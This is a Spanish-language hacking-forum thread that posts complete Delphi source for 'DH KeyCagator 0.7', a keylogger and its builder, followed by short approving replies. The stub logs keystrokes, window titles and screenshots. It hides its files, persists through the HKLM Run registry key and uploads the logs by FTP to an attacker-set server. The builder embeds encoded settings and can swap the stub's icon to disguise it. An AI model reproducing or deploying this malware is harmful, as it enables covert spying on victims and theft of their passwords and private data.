[Delphi] DH KeyCagator 0.7

  • 3 Respuestas
  • 2882 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Delphi] DH KeyCagator 0.7

  • en: Noviembre 22, 2013, 10:56:06 am
Al fin logre terminar esta version del DH KeyCagator.

El keylogger tiene las siguientes funciones :

  • Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas[/li]
  • Captura el nombre de la ventana actual[/li]
  • Captura la pantalla[/li]
  • Logs ordenados en un archivo HTML[/li]
  • Se puede elegir el directorio en el que se guardan los Logs[/li]
  • Se envia los logs por FTP[/li]
  • Se oculta los rastros[/li]
  • Se carga cada vez que inicia Windows[/li]
  • Se puede usar shift+F9 para cargar los logs en la maquina infectada[/li]
  • Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger[/li][/list]

    Una imagen :



    Los dos codigos :

    El generador.

    Código: Delphi
    1. // DH KeyCagator 0.7
    2. // (C) Doddy Hackman 2013
    3. // Keylogger Generator
    4. // Icon Changer based in : "IconChanger" By Chokstyle
    5. // Thanks to Chokstyle
    6.  
    7. unit genkey;
    8.  
    9. interface
    10.  
    11. uses
    12.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    13.   Dialogs, sSkinManager, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, sCheckBox,
    14.   sRadioButton, sComboBox, ComCtrls, sStatusBar, sLabel, sButton, sPageControl,
    15.   jpeg, madRes, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
    16.   IdExplicitTLSClientServerBase, IdFTP, ShellApi;
    17.  
    18. type
    19.   TForm1 = class(TForm)
    20.     sSkinManager1: TsSkinManager;
    21.     Image1: TImage;
    22.     sStatusBar1: TsStatusBar;
    23.     sGroupBox8: TsGroupBox;
    24.     sButton1: TsButton;
    25.     sPageControl1: TsPageControl;
    26.     sTabSheet1: TsTabSheet;
    27.     sTabSheet2: TsTabSheet;
    28.     sTabSheet3: TsTabSheet;
    29.     sGroupBox1: TsGroupBox;
    30.     sGroupBox2: TsGroupBox;
    31.     sRadioButton1: TsRadioButton;
    32.     sRadioButton2: TsRadioButton;
    33.     sEdit2: TsEdit;
    34.     sComboBox1: TsComboBox;
    35.     sGroupBox3: TsGroupBox;
    36.     sEdit1: TsEdit;
    37.     sGroupBox4: TsGroupBox;
    38.     sLabel1: TsLabel;
    39.     sCheckBox1: TsCheckBox;
    40.     sEdit3: TsEdit;
    41.     sGroupBox7: TsGroupBox;
    42.     sLabel2: TsLabel;
    43.     sCheckBox2: TsCheckBox;
    44.     sEdit4: TsEdit;
    45.     sGroupBox5: TsGroupBox;
    46.     sLabel3: TsLabel;
    47.     sLabel4: TsLabel;
    48.     sLabel5: TsLabel;
    49.     sLabel6: TsLabel;
    50.     sEdit5: TsEdit;
    51.     sEdit6: TsEdit;
    52.     sEdit7: TsEdit;
    53.     sEdit8: TsEdit;
    54.     sTabSheet4: TsTabSheet;
    55.     sTabSheet5: TsTabSheet;
    56.     sGroupBox6: TsGroupBox;
    57.     Image2: TImage;
    58.     sLabel7: TsLabel;
    59.     sGroupBox9: TsGroupBox;
    60.     sGroupBox10: TsGroupBox;
    61.     sLabel8: TsLabel;
    62.     sLabel9: TsLabel;
    63.     sLabel10: TsLabel;
    64.     sLabel11: TsLabel;
    65.     sEdit9: TsEdit;
    66.     sEdit10: TsEdit;
    67.     sEdit11: TsEdit;
    68.     sEdit12: TsEdit;
    69.     sButton2: TsButton;
    70.     IdFTP1: TIdFTP;
    71.     OpenDialog1: TOpenDialog;
    72.     procedure sButton1Click(Sender: TObject);
    73.     procedure sButton2Click(Sender: TObject);
    74.     procedure FormCreate(Sender: TObject);
    75.   private
    76.     { Private declarations }
    77.   public
    78.     { Public declarations }
    79.   end;
    80.  
    81. var
    82.   Form1: TForm1;
    83.  
    84. implementation
    85.  
    86. {$R *.dfm}
    87. // Functions
    88.  
    89. function dhencode(texto, opcion: string): string;
    90. // Thanks to Taqyon
    91. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    92. var
    93.   num: integer;
    94.   aca: string;
    95.   cantidad: integer;
    96.  
    97. begin
    98.  
    99.   num := 0;
    100.   Result := '';
    101.   aca := '';
    102.   cantidad := 0;
    103.  
    104.   if (opcion = 'encode') then
    105.   begin
    106.     cantidad := length(texto);
    107.     for num := 1 to cantidad do
    108.     begin
    109.       aca := IntToHex(ord(texto[num]), 2);
    110.       Result := Result + aca;
    111.     end;
    112.   end;
    113.  
    114.   if (opcion = 'decode') then
    115.   begin
    116.     cantidad := length(texto);
    117.     for num := 1 to cantidad div 2 do
    118.     begin
    119.       aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
    120.       Result := Result + aca;
    121.     end;
    122.   end;
    123.  
    124. end;
    125.  
    126. //
    127.  
    128. procedure TForm1.FormCreate(Sender: TObject);
    129. begin
    130.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
    131.   sSkinManager1.SkinName := 'tv-b';
    132.   sSkinManager1.Active := True;
    133. end;
    134.  
    135. procedure TForm1.sButton1Click(Sender: TObject);
    136. var
    137.   lineafinal: string;
    138.  
    139.   savein_especial: string;
    140.   savein: string;
    141.   foldername: string;
    142.  
    143.   capture_op: string;
    144.   capture_seconds: integer;
    145.  
    146.   ftp_op: string;
    147.   ftp_seconds: integer;
    148.   ftp_host_txt: string;
    149.   ftp_user_txt: string;
    150.   ftp_pass_txt: string;
    151.   ftp_path_txt: string;
    152.  
    153.   aca: THandle;
    154.   code: Array [0 .. 9999 + 1] of Char;
    155.   nose: DWORD;
    156.  
    157.   stubgenerado: string;
    158.   op: string;
    159.   change: DWORD;
    160.   valor: string;
    161.  
    162. begin
    163.  
    164.   if (sRadioButton1.Checked = True) then
    165.  
    166.   begin
    167.  
    168.     savein_especial := '0';
    169.  
    170.     if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
    171.     begin
    172.       savein := 'USERPROFILE';
    173.     end
    174.     else
    175.     begin
    176.       savein := sComboBox1.Items[sComboBox1.ItemIndex];
    177.     end;
    178.  
    179.   end;
    180.  
    181.   if (sRadioButton2.Checked = True) then
    182.   begin
    183.     savein_especial := '1';
    184.     savein := sEdit2.Text;
    185.   end;
    186.  
    187.   foldername := sEdit1.Text;
    188.  
    189.   if (sCheckBox1.Checked = True) then
    190.   begin
    191.     capture_op := '1';
    192.   end
    193.   else
    194.   begin
    195.     capture_op := '0';
    196.   end;
    197.  
    198.   capture_seconds := StrToInt(sEdit3.Text) * 1000;
    199.  
    200.   if (sCheckBox2.Checked = True) then
    201.   begin
    202.     ftp_op := '1';
    203.   end
    204.   else
    205.   begin
    206.     ftp_op := '0';
    207.   end;
    208.  
    209.   ftp_seconds := StrToInt(sEdit4.Text) * 1000;
    210.  
    211.   ftp_host_txt := sEdit5.Text;
    212.   ftp_user_txt := sEdit7.Text;
    213.   ftp_pass_txt := sEdit8.Text;
    214.   ftp_path_txt := sEdit6.Text;
    215.  
    216.   lineafinal := '[63686175]' + dhencode
    217.     ('[opsave]' + savein_especial + '[opsave]' + '[save]' + savein + '[save]' +
    218.       '[folder]' + foldername + '[folder]' + '[capture_op]' + capture_op +
    219.       '[capture_op]' + '[capture_seconds]' + IntToStr(capture_seconds)
    220.       + '[capture_seconds]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
    221.       '[ftp_seconds]' + IntToStr(ftp_seconds)
    222.       + '[ftp_seconds]' + '[ftp_host]' + ftp_host_txt + '[ftp_host]' +
    223.       '[ftp_user]' + ftp_user_txt + '[ftp_user]' + '[ftp_pass]' +
    224.       ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt + '[ftp_path]',
    225.     'encode') + '[63686175]';
    226.  
    227.   aca := INVALID_HANDLE_VALUE;
    228.   nose := 0;
    229.  
    230.   stubgenerado := 'keycagator_ready.exe';
    231.  
    232.   DeleteFile(stubgenerado);
    233.   CopyFile(PChar(ExtractFilePath(Application.ExeName)
    234.         + '/' + 'Data/keycagator.exe'), PChar
    235.       (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
    236.  
    237.   StrCopy(code, PChar(lineafinal));
    238.   aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
    239.     FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
    240.   if (aca <> INVALID_HANDLE_VALUE) then
    241.   begin
    242.     SetFilePointer(aca, 0, nil, FILE_END);
    243.     WriteFile(aca, code, 9999, nose, nil);
    244.     CloseHandle(aca);
    245.   end;
    246.  
    247.   op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');
    248.  
    249.   if (op = 'Yes') then
    250.   begin
    251.     OpenDialog1.InitialDir := GetCurrentDir;
    252.     if OpenDialog1.Execute then
    253.     begin
    254.  
    255.       try
    256.         begin
    257.  
    258.           valor := IntToStr(128);
    259.  
    260.           change := BeginUpdateResourceW
    261.             (PWideChar(wideString(ExtractFilePath(Application.ExeName)
    262.                   + '/' + stubgenerado)), False);
    263.           LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
    264.             PWideChar(wideString(OpenDialog1.FileName)));
    265.           EndUpdateResourceW(change, False);
    266.           sStatusBar1.Panels[0].Text := '</li><li type="square"> Done ';[/li][/list]
    267.           sStatusBar1.Update;
    268.         end;
    269.       except
    270.         begin
    271.           sStatusBar1.Panels[0].Text := '[-] Error';
    272.           sStatusBar1.Update;
    273.         end;
    274.       end;
    275.     end
    276.     else
    277.     begin
    278.       sStatusBar1.Panels[0].Text := '</li><li type="square"> Done ';[/li][/list]
    279.       sStatusBar1.Update;
    280.     end;
    281.   end
    282.   else
    283.   begin
    284.     sStatusBar1.Panels[0].Text := '</li><li type="square"> Done ';[/li][/list]
    285.     sStatusBar1.Update;
    286.   end;
    287.  
    288. end;
    289.  
    290. procedure TForm1.sButton2Click(Sender: TObject);
    291. var
    292.   i: integer;
    293.   dir: string;
    294.   busqueda: TSearchRec;
    295.  
    296. begin
    297.  
    298.   IdFTP1.Host := sEdit9.Text;
    299.   IdFTP1.Username := sEdit11.Text;
    300.   IdFTP1.Password := sEdit12.Text;
    301.  
    302.   dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';
    303.  
    304.   try
    305.     begin
    306.       FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
    307.       DeleteFile(dir + '\' + busqueda.Name);
    308.       while FindNext(busqueda) = 0 do
    309.       begin
    310.         DeleteFile(dir + '\' + busqueda.Name);
    311.       end;
    312.       FindClose(busqueda);
    313.  
    314.       rmdir(dir);
    315.     end;
    316.   except
    317.     //
    318.   end;
    319.  
    320.   if not(DirectoryExists(dir)) then
    321.   begin
    322.     CreateDir(dir);
    323.   end;
    324.  
    325.   ChDir(dir);
    326.  
    327.   try
    328.     begin
    329.       IdFTP1.Connect;
    330.       IdFTP1.ChangeDir(sEdit10.Text);
    331.  
    332.       IdFTP1.List('*.*', True);
    333.  
    334.       for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
    335.       begin
    336.         IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
    337.           IdFTP1.DirectoryListing.Items[i].FileName, False, False);
    338.       end;
    339.  
    340.       ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);
    341.  
    342.       IdFTP1.Disconnect;
    343.       IdFTP1.Free;
    344.     end;
    345.   except
    346.     //
    347.   end;
    348.  
    349. end;
    350.  
    351. end.
    352.  
    353. // The End ?
    354.  

    El stub.

    Código: Delphi
    1. // DH KeyCagator 0.7
    2. // (C) Doddy Hackman 2013
    3.  
    4. program keycagator;
    5.  
    6. // {$APPTYPE CONSOLE}
    7.  
    8. uses
    9.   SysUtils, Windows, WinInet, ShellApi;
    10.  
    11. var
    12.   nombrereal: string;
    13.   rutareal: string;
    14.   yalisto: string;
    15.   registro: HKEY;
    16.   dir: string;
    17.   time: integer;
    18.  
    19.   dir_hide: string;
    20.   time_screen: integer;
    21.   time_ftp: integer;
    22.   ftp_host: Pchar;
    23.   ftp_user: Pchar;
    24.   ftp_password: Pchar;
    25.   ftp_dir: Pchar;
    26.  
    27.   carpeta: string;
    28.   directorio: string;
    29.   dir_normal: string;
    30.   dir_especial: string;
    31.   ftp_online: string;
    32.   screen_online: string;
    33.   activado: string;
    34.  
    35.   ob: THandle;
    36.   code: Array [0 .. 9999 + 1] of Char;
    37.   nose: DWORD;
    38.   todo: string;
    39.  
    40.   // Functions
    41.  
    42. function regex(text: String; deaca: String; hastaaca: String): String;
    43. begin
    44.   Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
    45.   SetLength(text, AnsiPos(hastaaca, text) - 1);
    46.   Result := text;
    47. end;
    48.  
    49. function dhencode(texto, opcion: string): string;
    50. // Thanks to Taqyon
    51. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    52. var
    53.   num: integer;
    54.   aca: string;
    55.   cantidad: integer;
    56.  
    57. begin
    58.  
    59.   num := 0;
    60.   Result := '';
    61.   aca := '';
    62.   cantidad := 0;
    63.  
    64.   if (opcion = 'encode') then
    65.   begin
    66.     cantidad := Length(texto);
    67.     for num := 1 to cantidad do
    68.     begin
    69.       aca := IntToHex(ord(texto[num]), 2);
    70.       Result := Result + aca;
    71.     end;
    72.   end;
    73.  
    74.   if (opcion = 'decode') then
    75.   begin
    76.     cantidad := Length(texto);
    77.     for num := 1 to cantidad div 2 do
    78.     begin
    79.       aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
    80.       Result := Result + aca;
    81.     end;
    82.   end;
    83.  
    84. end;
    85.  
    86. procedure savefile(filename, texto: string);
    87. var
    88.   ar: TextFile;
    89.  
    90. begin
    91.  
    92.   try
    93.  
    94.     begin
    95.       AssignFile(ar, filename);
    96.       FileMode := fmOpenWrite;
    97.  
    98.       if FileExists(filename) then
    99.         Append(ar)
    100.       else
    101.         Rewrite(ar);
    102.  
    103.       Write(ar, texto);
    104.       CloseFile(ar);
    105.     end;
    106.   except
    107.     //
    108.   end;
    109.  
    110. end;
    111.  
    112. procedure upload_ftpfile(host, username, password, filetoupload,
    113.   conestenombre: Pchar);
    114.  
    115. // Credits :
    116. // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
    117. // Thanks to Omair Iqbal
    118.  
    119. var
    120.   controluno: HINTERNET;
    121.   controldos: HINTERNET;
    122.  
    123. begin
    124.  
    125.   try
    126.  
    127.     begin
    128.       controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
    129.       controldos := InternetConnect(controluno, host,
    130.         INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP,
    131.         INTERNET_FLAG_PASSIVE, 0);
    132.       ftpPutFile(controldos, filetoupload, conestenombre,
    133.         FTP_TRANSFER_TYPE_BINARY, 0);
    134.       InternetCloseHandle(controldos);
    135.       InternetCloseHandle(controluno);
    136.     end
    137.   except
    138.     //
    139.   end;
    140.  
    141. end;
    142.  
    143. procedure capturar_pantalla(nombre: string);
    144.  
    145. // Credits :
    146. // Based on : http://www.delphibasics.info/home/delphibasicssnippets/screencapturewithpurewindowsapi
    147. // Thanks to  www.delphibasics.info and n0v4
    148.  
    149. var
    150.  
    151.   uno: integer;
    152.   dos: integer;
    153.   cre: hDC;
    154.   cre2: hDC;
    155.   im: hBitmap;
    156.   archivo: file of byte;
    157.   parriba: TBITMAPFILEHEADER;
    158.   cantidad: pointer;
    159.   data: TBITMAPINFO;
    160.  
    161. begin
    162.  
    163.  
    164.   // Start
    165.  
    166.   cre := getDC(getDeskTopWindow);
    167.   cre2 := createCompatibleDC(cre);
    168.   uno := getDeviceCaps(cre, HORZRES);
    169.   dos := getDeviceCaps(cre, VERTRES);
    170.   zeromemory(@data, sizeOf(data));
    171.  
    172.  
    173.   // Config
    174.  
    175.   with data.bmiHeader do
    176.   begin
    177.     biSize := sizeOf(TBITMAPINFOHEADER);
    178.     biWidth := uno;
    179.     biheight := dos;
    180.     biplanes := 1;
    181.     biBitCount := 24;
    182.  
    183.   end;
    184.  
    185.   with parriba do
    186.   begin
    187.     bfType := ord('B') + (ord('M') shl <img src="https://underc0de.org/foro/Smileys/default/cool.gif" alt="8&#41;" title="Cool" class="smiley" />;
    188.     bfSize := sizeOf(TBITMAPFILEHEADER) + sizeOf(TBITMAPINFOHEADER)
    189.       + uno * dos * 3;
    190.     bfOffBits := sizeOf(TBITMAPINFOHEADER);
    191.   end;
    192.  
    193.   //
    194.  
    195.   im := createDIBSection(cre2, data, DIB_RGB_COLORS, cantidad, 0, 0);
    196.   selectObject(cre2, im);
    197.  
    198.   bitblt(cre2, 0, 0, uno, dos, cre, 0, 0, SRCCOPY);
    199.  
    200.   releaseDC(getDeskTopWindow, cre);
    201.  
    202.   // Make Photo
    203.  
    204.   AssignFile(archivo, nombre);
    205.   Rewrite(archivo);
    206.  
    207.   blockWrite(archivo, parriba, sizeOf(TBITMAPFILEHEADER));
    208.   blockWrite(archivo, data.bmiHeader, sizeOf(TBITMAPINFOHEADER));
    209.   blockWrite(archivo, cantidad^, uno * dos * 3);
    210.  
    211. end;
    212.  
    213. procedure capturar_teclas;
    214.  
    215. var
    216.   I: integer;
    217.   Result: Longint;
    218.   mayus: integer;
    219.   shift: integer;
    220.  
    221. const
    222.  
    223.   n_numeros_izquierda: array [1 .. 10] of string =
    224.     ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');
    225.  
    226. const
    227.   t_numeros_izquierda: array [1 .. 10] of string =
    228.     ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
    229.  
    230. const
    231.   n_numeros_derecha: array [1 .. 10] of string =
    232.     ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');
    233.  
    234. const
    235.   t_numeros_derecha: array [1 .. 10] of string =
    236.     ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
    237.  
    238. const
    239.   n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
    240.     '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
    241.     '291', '220', '221', '222', '226');
    242.  
    243. const
    244.   t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
    245.     '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
    246.     '|');
    247.  
    248. const
    249.   n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
    250.     '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
    251.     '226');
    252.  
    253. const
    254.   t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
    255.     '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
    256.     ' / ', ' \ \ \ ', ']', '[', '~', '\/');
    257.  
    258. begin
    259.  
    260.   while (1 = 1) do
    261.   begin
    262.  
    263.     Sleep(time); // Time
    264.  
    265.     try
    266.  
    267.       begin
    268.  
    269.         // Others
    270.  
    271.         for I := Low(n_raros) to High(n_raros) do
    272.         begin
    273.           Result := GetAsyncKeyState(StrToInt(n_raros[I]));
    274.           If Result = -32767 then
    275.           begin
    276.             savefile('logs.html', t_raros[I]);
    277.           end;
    278.         end;
    279.  
    280.         // SHIFT
    281.  
    282.         if (GetAsyncKeyState(VK_SHIFT) <> 0) then
    283.         begin
    284.  
    285.           for I := Low(n_shift) to High(n_shift) do
    286.           begin
    287.             Result := GetAsyncKeyState(StrToInt(n_shift[I]));
    288.             If Result = -32767 then
    289.             begin
    290.               savefile('logs.html', t_shift[I]);
    291.             end;
    292.           end;
    293.  
    294.           for I := 65 to 90 do
    295.           begin
    296.             Result := GetAsyncKeyState(I);
    297.             If Result = -32767 then
    298.             Begin
    299.               savefile('logs.html', Chr(I + 0));
    300.             End;
    301.           end;
    302.  
    303.         end;
    304.  
    305.         // Numbers
    306.  
    307.         for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
    308.         begin
    309.           Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
    310.           If Result = -32767 then
    311.           begin
    312.             savefile('logs.html', t_numeros_derecha[I]);
    313.           end;
    314.         end;
    315.  
    316.         for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
    317.         begin
    318.           Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
    319.           If Result = -32767 then
    320.           begin
    321.             savefile('logs.html', t_numeros_izquierda[I]);
    322.           end;
    323.         end;
    324.  
    325.         // MAYUS
    326.  
    327.         if (GetKeyState(20) = 0) then
    328.         begin
    329.           mayus := 32;
    330.         end
    331.         else
    332.         begin
    333.           mayus := 0;
    334.         end;
    335.  
    336.         for I := 65 to 90 do
    337.         begin
    338.           Result := GetAsyncKeyState(I);
    339.           If Result = -32767 then
    340.           Begin
    341.             savefile('logs.html', Chr(I + mayus));
    342.           End;
    343.         end;
    344.       end;
    345.     except
    346.       //
    347.     end;
    348.  
    349.   end;
    350. end;
    351.  
    352. procedure capturar_ventanas;
    353. var
    354.   ventana1: array [0 .. 255] of Char;
    355.   nombre1: string;
    356.   Nombre2: string; //
    357. begin
    358.   while (1 = 1) do
    359.   begin
    360.  
    361.     try
    362.  
    363.       begin
    364.         Sleep(time); // Time
    365.  
    366.         GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));
    367.  
    368.         nombre1 := ventana1;
    369.  
    370.         if not(nombre1 = Nombre2) then
    371.         begin
    372.           Nombre2 := nombre1;
    373.           savefile('logs.html',
    374.             '<hr style=color:#00FF00><h2><center>' + Nombre2 +
    375.               '</h2></center><br>');
    376.         end;
    377.  
    378.       end;
    379.     except
    380.       //
    381.     end;
    382.   end;
    383.  
    384. end;
    385.  
    386. procedure capturar_pantallas;
    387. var
    388.   generado: string;
    389. begin
    390.   while (1 = 1) do
    391.   begin
    392.  
    393.     Sleep(time_screen);
    394.  
    395.     generado := IntToStr(Random(100)) + '.jpg';
    396.  
    397.     try
    398.  
    399.       begin
    400.         capturar_pantalla(generado);
    401.       end;
    402.     except
    403.       //
    404.     end;
    405.  
    406.     SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);
    407.  
    408.     savefile('logs.html', '<br><br><center><img src=' + generado +
    409.         '></center><br><br>');
    410.  
    411.   end;
    412. end;
    413.  
    414. procedure subirftp;
    415. var
    416.   busqueda: TSearchRec;
    417. begin
    418.   while (1 = 1) do
    419.   begin
    420.  
    421.     try
    422.  
    423.       begin
    424.         Sleep(time_ftp);
    425.  
    426.         upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
    427.             (dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));
    428.  
    429.         FindFirst(dir + '*.jpg', faAnyFile, busqueda);
    430.  
    431.         upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
    432.             (dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
    433.         while FindNext(busqueda) = 0 do
    434.         begin
    435.           upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
    436.               (dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
    437.         end;
    438.       end;
    439.     except
    440.       //
    441.     end;
    442.   end;
    443. end;
    444.  
    445. procedure control;
    446. var
    447.   I: integer;
    448.   re: Longint;
    449. begin
    450.  
    451.   while (1 = 1) do
    452.   begin
    453.  
    454.     try
    455.  
    456.       begin
    457.  
    458.         Sleep(time);
    459.  
    460.         if (GetAsyncKeyState(VK_SHIFT) <> 0) then
    461.         begin
    462.  
    463.           re := GetAsyncKeyState(120);
    464.           If re = -32767 then
    465.           Begin
    466.  
    467.             ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
    468.               SW_SHOWNORMAL);
    469.  
    470.           End;
    471.         end;
    472.       end;
    473.     except
    474.       //
    475.     end;
    476.   End;
    477. end;
    478.  
    479. //
    480.  
    481. begin
    482.  
    483.   try
    484.  
    485.     // Config
    486.  
    487.     try
    488.  
    489.       begin
    490.  
    491.         // Edit
    492.  
    493.         ob := INVALID_HANDLE_VALUE;
    494.         code := '';
    495.  
    496.         ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ,
    497.           nil, OPEN_EXISTING, 0, 0);
    498.         if (ob <> INVALID_HANDLE_VALUE) then
    499.         begin
    500.           SetFilePointer(ob, -9999, nil, FILE_END);
    501.           ReadFile(ob, code, 9999, nose, nil);
    502.           CloseHandle(ob);
    503.         end;
    504.  
    505.         todo := regex(code, '[63686175]', '[63686175]');
    506.         todo := dhencode(todo, 'decode');
    507.  
    508.         dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
    509.         directorio := regex(todo, '[save]', '[save]');
    510.         carpeta := regex(todo, '[folder]', '[folder]');
    511.         screen_online := regex(todo, '[capture_op]', '[capture_op]');
    512.         time_screen := StrToInt(regex(todo, '[capture_seconds]',
    513.             '[capture_seconds]'));
    514.         ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
    515.         time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
    516.         ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
    517.         ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
    518.         ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
    519.         ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));
    520.  
    521.         dir_normal := dir_especial;
    522.  
    523.         time := 100; // Not Edit
    524.  
    525.         if (dir_normal = '1') then
    526.         begin
    527.           dir_hide := directorio;
    528.         end
    529.         else
    530.         begin
    531.           dir_hide := GetEnvironmentVariable(directorio) + '/';
    532.         end;
    533.  
    534.         dir := dir_hide + carpeta + '/';
    535.  
    536.         if not(DirectoryExists(dir)) then
    537.         begin
    538.           CreateDir(dir);
    539.         end;
    540.  
    541.         ChDir(dir);
    542.  
    543.         nombrereal := ExtractFileName(paramstr(0));
    544.         rutareal := dir;
    545.         yalisto := dir + nombrereal;
    546.  
    547.         MoveFile(Pchar(paramstr(0)), Pchar(yalisto));
    548.  
    549.         SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);
    550.  
    551.         SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
    552.  
    553.         savefile(dir + '/logs.html', '');
    554.  
    555.         SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);
    556.  
    557.         savefile('logs.html',
    558.           '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
    559.  
    560.         RegCreateKeyEx(HKEY_LOCAL_MACHINE,
    561.           'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
    562.           REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
    563.         RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
    564.         RegCloseKey(registro);
    565.       end;
    566.     except
    567.       //
    568.     end;
    569.  
    570.     // End
    571.  
    572.     // Start the party
    573.  
    574.     BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
    575.     BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);
    576.  
    577.     if (screen_online = '1') then
    578.     begin
    579.       BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
    580.     end;
    581.     if (ftp_online = '1') then
    582.     begin
    583.       BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
    584.     end;
    585.  
    586.     BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);
    587.  
    588.     // Readln;
    589.  
    590.     while (1 = 1) do
    591.       Sleep(time);
    592.  
    593.   except
    594.     //
    595.   end;
    596.  
    597. end.
    598.  
    599. // The End ?
    600.  

    Si lo quieren bajar lo pueden hacer de Solo los usuarios pueden ver los links. Registrate o Ingresar.

Desconectado alexander1712

  • *
  • Underc0der
  • Mensajes: 851
  • Actividad:
    0%
  • Reputación -2
    • Ver Perfil
    • El blog del programador
    • Email

Re:[Delphi] DH KeyCagator 0.7

  • en: Noviembre 22, 2013, 01:54:04 pm
muy bueno, gracias por publicarlo.

saludos!

Desconectado ingushmen

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Re:[Delphi] DH KeyCagator 0.7

  • en: Noviembre 25, 2013, 06:38:45 am
Nice) It is realy Delphi coding?

Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil

Re:[Delphi] DH KeyCagator 0.7

  • en: Noviembre 25, 2013, 10:34:25 am
Solo los usuarios pueden ver los links. Registrate o Ingresar
Nice) It is realy Delphi coding?

Si, es delphi.



Esta bastante bien doddy, felicidades :)

 

Eliminar acentos y otros agregados de un caracter/cadena Delphi 2009

Iniciado por ANTRAX

Respuestas: 0
Vistas: 4882
Último mensaje Febrero 24, 2010, 04:57:14 pm
por ANTRAX
[Sintaxis general de Delphi] By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3179
Último mensaje Febrero 24, 2010, 04:35:15 pm
por ANTRAX
1er troyano en Delphi By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 5299
Último mensaje Febrero 24, 2010, 04:34:48 pm
por ANTRAX
Poner splash screen con progress bar en delphi

Iniciado por ANTRAX

Respuestas: 0
Vistas: 4060
